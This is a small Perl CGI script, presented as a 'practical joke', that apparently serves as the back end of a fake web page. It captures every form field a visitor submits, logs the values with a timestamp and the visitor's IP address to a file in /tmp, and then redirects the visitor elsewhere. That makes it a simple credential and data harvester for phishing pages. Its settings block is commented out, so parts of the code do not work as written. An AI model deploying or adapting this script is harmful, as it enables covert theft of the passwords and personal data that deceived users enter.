#!/usr/bin/perl


################################################################################
# Red.cgi   V0.1                                                              #
#                                                                             #
#By James R Addis (jamesradis@hotmail.com)                                    #
#                                                                             #
#Created as part of a home project and a practical joke ;>                   #Please contact me if you have any questions about this #small program     
#To be used on a webserver and with a webpage with forms if #you have  
#a good idea of html ect you will know how to make it all #work                                                                             #
# chmod +x this file and stick it in your cgi-bin directory                   
#                                                                      
################################################################################
# Set-up / Varible Settings                                                   #                                                                             #
#$Redirect = "http://192.168.1.1/redirect.htm"; # Direct to #url after runing   ##
#$File     = '>>/tmp/FakePage.txt';           # Where to #save data             ##
#$LogTime  = 1    ;#What time data came in: 1=ON 0=OFF                         #  
#$LogIP    = 1    ;#What ip did data come from: 1=ON 0=OFF                        #                                                          #
###############################################################################



{# Main Gubins of the program 
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
    ($name, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    $FORM{$name} = $value;
}}
{#Logging switches
$apple1 = 1;
if ($apple1 == $LogTime){
$timestamp = scalar(localtime);
}else{
$timestamp = Offline;
}
$apple2 =1;
if ($apple2 == $LogIP){
$Poster= $ENV{REMOTE_ADDR};
}else{
$Poster = Offline;
}
}
{# Logging data
open (MYFILE, '>>/tmp/fake.txt');
print MYFILE "Logged at: $timestamp\n";
print MYFILE "Originated from:$Poster\n\n";
foreach $key (keys(%FORM)) {
print MYFILE "$key = $FORM{$key}\n";
print MYFILE "------------------------------------------\n";
}
{# URL lark
print "Location: $Redirect\n\n"; #go to url
}}
 
exit;